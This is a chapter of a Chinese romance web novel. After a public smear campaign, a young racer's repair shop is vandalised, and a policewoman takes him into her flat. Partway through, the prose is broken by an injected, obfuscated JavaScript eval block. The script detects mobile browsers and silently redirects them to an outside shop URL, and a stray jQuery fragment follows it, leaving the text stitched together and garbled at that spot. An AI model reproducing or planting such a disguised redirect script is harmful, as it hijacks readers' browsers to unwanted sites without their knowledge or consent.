泰显川不认罪。
这是岑星禾从老周嘴里听到的第一句话，老周把卷宗摔在桌上，烟灰缸里的烟头堆成了小山，办公室里烟雾缭绕，像着了火。
泰显川请了三个律师，翻供，咬死了是李承受贿，被他发现之后恼羞成怒，栽赃陷害，这完全在意料之中。
“这人太狡猾了。”老周骂了一句，把烟掐灭在缸里。
岑星禾站在办公桌前，手里的茶杯凉了，她没有喝，也没有放下，而泰显川被捕的消息传出去只用了半天。
先是有营销号截取了一段“知情人士爆料”，说当年泰景宁毒糖浆案的真相是李承利用化工专家的身份，收受贿赂，在配方上做了手脚，泰显川发现后要报警，李承为了灭口，伪造证据反咬一口。
紧接着是网络上铺天盖地的转发，评论区的画风像被同一只手操纵，整齐划一，戾气冲天。
“原来他爸是这种人”
“怪不得儿子也是混混”
“冠军？罪犯的儿子也配？”
“这种人就该死全家”
“机车手？呸”。
……
岑星禾一条一条往下翻，手指在屏幕上滑，越滑越快，那些字像针一样扎进眼睛里，疼得人五脏六肺皆碎，她想把手机扔掉，手却不听使唤，还在往下滑。
“李烈之前不是孤儿吗？原来他爸是被抓的，活该。”
“一家子都不是好东西。”
......
她按灭了屏幕。
办公室里很安静，空调嗡嗡地响，窗外的蝉鸣一阵一阵的，像锯子来回拉。
她拿起手机，又放下，又拿起来，点开李烈的对话框，打了几个字删掉，再打再删，最后发了一句：“你在哪？”
没有回复。
过了五分钟，她又发了一条：“李烈，回我。”
还是没有回复。
直到听到出勤回来的同事讨论，城西修车铺被一群陌生人打砸，她才抓起包就往外跑。
修车铺外面的那条巷子她走过无数次，窄窄的，两边是老旧的砖墙，墙角长着青苔，路灯要等到晚上七点才亮。
今天她走进去的时候，发现路面上有碎玻璃，一片一片的，在午后的阳光下闪着刺眼的光，像碎掉的星星，她踩上去，鞋底发出咯吱咯吱的声响，每一下都像踩在她自己的心口上。
越往里走，碎玻璃越多，她看到修车铺的铁皮门了。
门是开着的，整扇门被从外面踹开，门板歪在一边，铰链断了，像被掰折的胳膊，胡式修车的招牌被人扯下来扔在地上，上面有几个脚印。
里面更惨，货架倒了，工具散了一地，扳手、螺丝刀、火花塞，乱七八糟地堆在地上，像倒下来的垃圾，墙上的海报被撕了一半，剩下半张耷拉着，上面是一个机车的剖面图，被人用黑色马克笔画了一个大大的叉。
那张刚换过床单的行军床被人掀翻了，被子踩在地上，深灰色的床单上全是泥巴和脚印，枕头被划开了，羽毛飞了一地，白花花地铺在黑色的机油上，像雪落在泥里。
旧冰箱也倒了，门开着，里面的鸡蛋碎了一地，蛋液和机油混在一起，黏糊糊的，流了一滩。
那个机油瓶里面插着她送的白花，被摔碎了，玻璃碴子散了一地，花不知道被踩了多少脚，花瓣烂了，和碎玻璃搅在一起，看不出原来的颜色。
岑星禾站在门口，腿像灌了铅，她想走进去，脚抬不起来，怕自己的鞋底会碾到那些东西，那些是他一件一件攒起来的东西，也有她一样一样添置的东西。
李烈站在屋子中间，靠着那根承重的柱子，双手插在裤兜里，头微微低着，看着地上的某一片碎玻璃。
他的白T恤上有几道灰色的印子，像是被人推过或者什么东西蹭上去的，头发乱着，额前的碎发垂下来，遮住了半边眼睛。
岑星禾终于迈出了步子，碎玻璃在脚底下咔嚓咔嚓地响，她走到他面前，两个人之间隔了不到两步的距离，她想说什么，但嗓子像被什么东西堵住了，发不出声音。
空气里充斥着各种机油味和腥味，她低头看了一眼他的手，指节上有擦伤，血已经干了，结了一层薄薄的痂。
“你受伤了。”她哽咽着说出了第一句话。
他抬起眼看了她一眼，那一眼看得很慢，像从很深的水底浮上来，带着一种岑星禾从没见过的神色。
他的眼神是空的，像一间被人搬空了家具的房子，门开着，风灌进来呜呜地响，“警察来过了，拍了照，说会查。”
岑星禾看着他，喉头一阵一阵地发紧，她想说你先跟我回去，想说这里不安全，想说我会帮你收拾，这些话到了嘴边，全都碎成了渣。
李烈低下头，又看了一眼地上的碎玻璃，“我又没家了。”
他的声音一根针落在地上，轻得几乎听不见，却实实在在地砸在岑星禾的胸口上，比子弹擦过手臂还疼。
她的眼泪一下子就涌了上来，她咬住了嘴唇拼命忍住，却实在控制不了，她看到李烈的眼眶也红了，他没有掉眼泪。
十九岁的少年站在一片狼藉中间，周围是他攒下来的全部家当，他的薄唇抿住，喉结上下滚动了两回，硬生生把那点湿意咽了回去。
岑星禾伸出手，想碰他的手臂，指尖刚碰到他小臂的皮肤，凉凉的，他的肌肉绷了一下。
她的手停在那里，没有收回来，也没有握上去。
两个人在满地碎玻璃和机油中间站着，谁都没有说话，窗外的蝉还在叫，将修车铺衬得异常安静。
这世界上怎么会有人这么恶劣，硬生生要去加重一个人摇摇欲坠的人生，难道看别人过得辛苦会让他们幸福吗？他们分明说过，一个孤儿能得冠军不容易。
人性真是难以琢磨的东西，人们仰望他的天赋，又恨不得将他坠下泥潭，企图以这种方式看他垂死挣扎，如果他赢了，这群人会站出来说真是一个坚韧不拔的人啊，如果他输了，他们又会说早晚知道他有这一天。
这命运多舛的一生，逆风翻盘的机会本就不多，自始至终，他们未曾乞求过分毫旁人怜悯，世俗的偏见却从来不肯放过他们。
不知道过了多久，她开口了，声音哑得不像自己，“李烈。”
她想说你还有我，你不要难过，这句话太大了，大到她怕自己接不住，也怕他接不住，最终还是没能说出口。
她把手收回去，弯腰开始捡地上的东西，先把那个被踩烂的枕头拎起来，抖了抖，尘灰飘在空中，她把枕头扔在一边，又去捡被子，叠好的深灰色床单已经脏了，她抖了抖上面的泥，叠了两折，放在行军床的床板上。
李烈站在原地，视线没有离开过她的手，那只手捡起扳手螺丝刀放回工具箱，捡起那把摔坏的机油瓶，扔进垃圾桶。
“你先去我家住几天。”她很自然地说，“钥匙还在你身上吗？”
他从裤兜里摸出了那把钥匙，挂在机车的钥匙扣上，他看了它一眼，又揣回兜里。
“走吧。”岑星禾直起腰。
李烈抬起头，目光扫过这间修车铺，接着收回来，落在她脸上，摇了摇头。
岑星禾转身往外走，她听到身后传来他的脚步声，踩在碎玻璃上，一声声细碎，仿佛她心碎，她没有回头，她怕自己一回头，眼泪就真的止不住了。
“修车铺收拾一下，将就能住。”李烈喊住她。
岑星禾没理他，她侧身退了两步，另一只手拉住了他的手腕，她的手指圈不住他，只能搭在上面，“这里不安全了。”
李烈低头看了一眼她握在自己手腕上的手，顺着她的力道走了出去。
*
晚上八点多，他们在外面吃完饭，回到了岑星禾的住处。
岑星禾的出租屋不大，一室一厅，住进来一个高马大的男人显得空间有些狭小了。
“你先坐，”岑星禾把背包放在沙发上，“我去洗个澡。”
李烈没坐，他走到阳台上，推开窗户，夜风灌进来，带着楼下夜市的油烟味和糖炒栗子的香，他双手撑在栏杆上，低头看着下面那些亮着灯的小摊。
头顶暖黄色的阳台灯照着他，把他的白T恤染成淡金色，深蓝色的夜幕在他眼前铺开，夜市的热闹在脚下翻涌，极致的蓝混合着暖调，构成了一副美好和谐的画面。
岑星禾拿了换洗衣服走进浴室，关上门。
水龙头拧开，热水冲下来，砸在瓷砖上，哗哗的，水蒸气很快弥漫开来，模糊了镜子里她的脸。
她站在花洒下面，热水从头浇到脚，把修车铺里的机油味和腥味全部冲掉，脑子的画面缺一直冲不掉。
想到李烈站在屋子中间说我又没家了，眼底那种空荡荡的神色让她异常揪心，眼泪一下子就涌了出来，和热水混在一起，分不清哪些是水，哪些是泪。
她把脸埋进手心里，肩膀一抖一抖的，咬住嘴唇不出声，水声很大，盖住了一切，她哭了好一会儿，哭到热水器的水开始变温，才慢慢停下来。
她不知道李烈站在浴室门口。
他从阳台走过来，脚步很轻，轻到连他自己都没意识到在踮着脚，他站在门外，离那扇磨砂玻璃门只有一步的距离，水声哗哗的，水蒸气从门缝里溢出来。
里面传来她压抑的抽泣，很短促的一声，像被什么东西噎住了，又咽了回去，隔了几秒，又是一声，闷闷的，像有人把拳头塞进嘴里。
他的手指攥成了拳头，指甲掐进掌心里，他像一棵被钉在原地的树，一动不动的。
水声停了。
岑星禾关掉花洒，用浴巾把自己裹好，对着镜子看了看，眼睛红红的，鼻尖也红，一看就是哭过的样子，她深吸一口气，想把那些痕迹压下去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548344|204249||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她拉开门走出来。
头发还在滴水，浴巾裹到锁骨，露出一小截肩膀，她低着头，不敢看客厅的方向，快步往卧室走，余光扫到阳台上有一个高大的影子。
李烈站在阳台上，背对着她，手插在裤兜里，肩膀很宽，把阳台的窗户占了大半，夜风吹着他的头发，碎发微微晃动。
岑星禾钻进了卧室，关上门。
她打开吹风机，热风对着头发吹，嗡嗡的声音充满了整个房间，她吹了很久，久到头发早就干了，直到镜子里那个女人的眼睛终于不那么红了。
她关掉吹风机。
浴室好像有水声传来，岑星禾这才注意到，他已经不在阳台上了，她吹头发的这段时间，他去了浴室。
她坐在床边，等着，听着，水声停了，浴室门开了，拖鞋踩在地板上的声音，由远及近，又由近及远。她听到沙发发出吱呀一声，他坐下了。
她又等了十几分钟。
眼睛应该看不出来了，她对着手机前置摄像头照了照，眼尾还有一点淡淡的粉，她把头发扎起来，拉开门走出去。
客厅的灯还亮着，空调开到了20度，冷气从出风口灌出来，冻得人胳膊上起鸡皮疙瘩。
李烈躺在沙发上，一条腿搭在扶手上，另一条腿伸开，脚踝露在外面，他换了一身衣服，不知道什么时候从背包里翻出来的，黑色T恤深灰色短裤，头发还没干透，碎发贴在额头上。
他听到动静睁开眼，撑着胳膊坐了起来。
“需不需要拿床被子给你？”岑星禾站在卧室门口，手里攥着门把手。
“这么热的天哪里需要被子。”他揉了下眼睛。
岑星禾看了一眼墙上的温度计，20度，“空调开这么低，睡着了容易感冒。”
李烈低头扯了一下旁边沙发上的薄毯，“这个就够了。”
“要是冷就去我房间拿被子，”她说，“柜子里有厚的。”
李烈抬起眼看着她，视线落在她脸上，从眉毛到眼睛，再到红润的嘴唇，灯光把他的瞳孔照得很亮，里面映着她的脸。
“知道了。”他低低应了声。
岑星禾松开门把手，往玄关的方向走了两步，准备关灯，走了几步又停下来，“灯关不关？”
“关。”
她的手按在开关上，啪嗒一声，客厅的光缩成一条线，从她指缝间溜走，整个屋子黑了。
窗帘没拉严实，夜市的光从缝隙里漏进来，在天花板上画了一道长长的亮痕，楼下的喧闹声变得远了。
这里晚间的确有点吵，不过租金划算，环境尚可，距离单位也近，吵一点的缺点几乎可以忽略。
她转过身，准备摸黑走回卧室。
一只手忽而从身后伸过来，握住了她还未收回的手，他的手掌很大，带着没干透的潮气和沐浴露的味道，还有一点点烫，他的指尖有一层薄薄的茧，卡在她指缝间，掌心贴着她的手背。
岑星禾整个人僵在了原地。
他的胸膛贴着她的后背，隔着两层薄薄的棉布，她感受到了他心跳的频率，她自己的心跳也快，快到她分不清是谁在震。
他低下头，嘴唇贴着她的耳廓，声音很低很轻，“以后不许再一个人偷偷哭了。”
夜风从阳台纱窗的缝隙里溜进来，吹在她裸露的手臂上，起了一层鸡皮疙瘩，她的后背贴着他的胸膛，那一片是热的，冷和热在她身上打架，她整个人像被劈成了两半。
“只要我还在你身边，就不要再哭了。”
他暗哑地嗓音几乎将人碾碎。
岑星禾的鼻子一酸，眼眶又热了，她点了点头，动作很小。她的头发蹭到了他的下巴，他应该感觉到了。
“爱哭鬼。”
他的声音里带着一点笑意，又是那种坏笑，好像在嘲笑她脆弱。
夜市的声音从楼下传上来，小孩在笑，有人在喊老板来十块钱的烤串，远处有人在唱歌，吉他声断断续续，所有的声音都闷闷的，像隔了一层水。
她感觉他们在很深很深的海底，四周全是水压，只有他掌心的温度是真实的，他慢慢松开了她的手，指腹从她手背上划过。
他不动声色地退了一步，两个人的身体之间重新有了空气。
“晚安。”他恢复了平时的样子，带着一点懒散。
岑星禾没有应，她摸着黑逃回卧室，一下子关上门。
门板合上的那一下，她的腿一下子软了，靠着门板慢慢滑下去，蹲在地上捂住了脸，手心还是烫的，残留着他的体温。
她蹲在黑暗里，手指居然在颤抖，她又贴门听了听，客厅那边没有再传来任何声音。
窗外的夜市还在吵，人群熙熙攘攘，空调外机嗡嗡地转，所有的声音都搅在一起，变成了一片白噪音，她听到自己的心跳声在这片白噪音里震耳欲聋。